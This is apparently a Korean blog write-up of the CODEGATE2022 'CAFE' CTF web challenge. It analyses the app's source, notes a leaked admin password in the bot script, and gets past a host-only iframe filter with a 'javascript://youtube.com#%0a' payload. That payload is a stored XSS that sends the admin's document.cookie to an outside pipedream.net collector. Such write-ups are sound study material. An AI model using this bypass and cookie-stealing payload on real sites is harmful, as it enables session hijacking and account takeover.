-
[Clear] CODEGATE2022 CAFE WriteupCTF/CODEGATE2022 2022. 3. 1. 12:08
주어진 페이지에 접근해보자. CAFE라는 서비스를 이용 할 수 있는 페이지가 나타나며, 회원가입 후 로그인하면 글을 읽고 Report를 통해 서버가 해당 작성글을 읽을 수 있도록 하는 것 같다. 전형적인 XSS문제처럼 보인다.
주어진 소스를 분석해보자.
우선 플래그를 읽는 방법을 분석해보자. db.sql 파일에서 데이터베이스가 어떻게 세팅되는지 분석해보면, 마지막 두 줄에 걸쳐 admin계정 생성 후 admin 계정으로 "flag" 라는 title에 플래그 값을 content로 하는 글을 작성함을 알 수 있다.
### db.sql CREATE DATABASE IF NOT EXISTS `app` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; use `app`; CREATE TABLE IF NOT EXISTS `users`( `id` VARCHAR(32) NOT NULL PRIMARY KEY, `pw` VARCHAR(64) NOT NULL, `created` DATETIME ); CREATE TABLE IF NOT EXISTS `posts`( `no` INT(10) NOT NULL AUTO_INCREMENT PRIMARY KEY, `title` TEXT NOT NULL, `content` TEXT NOT NULL, `writer` VARCHAR(32), `views` INT ); INSERT INTO `users` VALUES ('admin', '[FILTER]', now()); INSERT INTO `posts` VALUES (0, 'flag', 'codegate2022{EXAMPLE_FLAG}', 'admin', 0);
bot의 동작을 분석해보자. 우리가 예측한대로 report 요청이 오면 관리자 계정으로 로그인 후 해당 글을 읽도록 한다.
### bot.py #!/usr/bin/python3 from selenium import webdriver from selenium.webdriver.chrome.options import Options from webdriver_manager.chrome import ChromeDriverManager import time import sys options = webdriver.ChromeOptions() options.add_argument('--headless') options.add_argument('--disable-logging') options.add_argument('--disable-dev-shm-usage') options.add_argument('--no-sandbox') #options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36") driver = webdriver.Chrome(ChromeDriverManager().install(),options=options) driver.implicitly_wait(3) driver.get('http://3.39.55.38:1929/login') driver.find_element_by_id('id').send_keys('admin') driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ### 관리자 계정정보가 노출되어 언인텐 풀이가 가능하다.. driver.find_element_by_id('submit').click() time.sleep(2) driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1])) time.sleep(2) driver.quit()
main.php와 read.php를 분석해보면, 글을 읽는데는 글 작성 당사자 혹은 admin의 id가 필요함을 알 수 있다. 해당 로직에 활용되는 id값은는 phpsession을 통해 불러 온다.
### main. php ... <?php $id = $_SESSION['id']; $posts = getPosts($id)['all']; foreach($posts as $post) { echo '<tr onclick=location.href="/read?no='.$post['no'].'">'; echo '<th scope="row">'.$post['no'].'</th>'; echo '<td>'.$post['title'].'</td>'; echo '<td>'.substr($post['content'],0,4).'..</td>'; echo '<td>'.$post['writer'].'</td>'; echo '<td>'.$post['views'].'</td>'; echo '</tr>'; } ?> ... ### read.php ... <?php if( isset($_GET['no']) ){ $no = intval($_GET['no']); $id = $_SESSION['id']; $res = getPost($no); if ($id !== $res['val']['writer']) { if ($id !== 'admin') { // admin cat see all posts die('No'); } } updateViews($no); } ?> ...
그렇다면, 우리가 생각 해 볼수 있는 시나리오는
1. 쿠키(세션)을 탈취하는 Stored XSS 구문이 포함된 글을 작성
2. Report 기능을 통해 admin이 해당 글에 접근하도록 하여 쿠키(세션) 탈취
3. 탈취한 쿠키(세션)을 활용하여 로그인 후 flag 확인
이 될 것이다.
그렇다면 이제 Stored XSS를 발생시킬 구문을 어떻게 작성할지 알아보도록 하자.
### util.php ... function filterHtml($content) { $result = ''; $html = new simple_html_dom(); $html->load($content); $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe']; foreach($allowTag as $tag){ foreach($html->find($tag) as $element) { switch ($tag) { case 'a': $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>'; break; case 'img': $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>'; break; case 'p': case 'span': case 'b': case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': case 'strong': case 'em': case 'code': $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>'; break; case 'iframe': $src = $element->src; $host = parse_url($src)['host']; if (strpos($host, 'youtube.com') !== false){ $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>'; } break; } } } return $result; } ...
libs/util.php 를 보면 허용되어있는 tag들과 각 tag에서의 제약사항을 알 수 있다.
xss구문에서 많이 사용되는 a, img tag에서는 " 가 필터링되어, 각각 href="", src=""를 탈출 할 수 없어서 구문을 만들 수 없다.
(a tag의 경우 xss구문 자체를 만들 순 있지만 autofocus 가 불가능하여 사용 할 수 없다.)
code tag는 익숙한 태그는 아니었는데 각 < > 안의 값이 code로 고정되어 xss를 발생시키기 어렵다고 판단했다.
(code tag에서의 xss 구문의 예시는 다음과 같다 : <code onclick="alert(1)">test</code>)
그렇다면 iframe tag를 활용해볼 차례이다. iframe tag의 제약조건에서는 src의 url에 대해 검사하는데, 특이하게 host가 youtube.com인지 검사한다. scheme에 대한 검증은 없으므로 http나 https 가 아닌 javascript scheme을 활용하여 XSS를 발생시킬 수 있다.
이런 케이스는 실제 모의해킹 업무를 할 때 종종 보이는 케이스이다.
대표적으로 https://service.com/login?returnUrl=~~와 같은 형식으로 로그인 성공/실패 시 redirect기능을 구현하곤 하는데, 인증되지 않은 타 사이트로의 리다이렉트를 막기 위해서 host를 검증하긴하지만 scheme에 대한 검증이 없는 경우가 있다.
이럴 때 아래와 같은 구문으로 XSS를 발생시킬 수 있다.
javascript://service.com#%0aalert(1)
처음 해당 구문을 발견할때는 이렇게 하면 될 것 같다는 감과 테스트를 통해서 깨우쳤(?)는데 아래와 같은 레퍼런스도 존재한다.
https://hackerone.com/reports/316319
Semrush disclosed on HackerOne: XSS on redirection page( Bypassed)
hackerone.com
원리는 javascript: 에서 // 를 한줄주석으로 인식하여 host부분이 주석으로 인식되지만, %0a 개행 또한 개행된것으로 인식되어 뒷부분의 스크립트가 실행된다. 그러나 url이 파싱되는과정에서는 [scheme]://[host] ~~ 처럼 인식되므로 host검증은 통과 할 수 있는것이다.
그렇다면 아래와 같이 XSS payload가 잘 작동하는지 테스트해보자.
<iframe src="javascript://youtube.com#%0afetch('https://enngfntpvbo0otw.m.pipedream.net/'+document.cookie)"></iframe>
정상적으로 공격자의 서버에 phpsession이 전달됨을 확인 할 수 있다.
해당 테스트 글이 유효하므로 이를 Report하면 admin의 세션 정보를 획득 할 수 있으며
이를 통해 flag 게시글을 읽을 수 있다.
FLAG = codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}
반응형'CTF > CODEGATE2022' 카테고리의 다른 글
[Study] CODEGATE2022 myblog Writeup (0) 2022.03.01 [Study] CODEGATE2022 babyfirst Writeup (0) 2022.03.01 [Clear] CODEGATE2022 superbee Writeup (0) 2022.03.01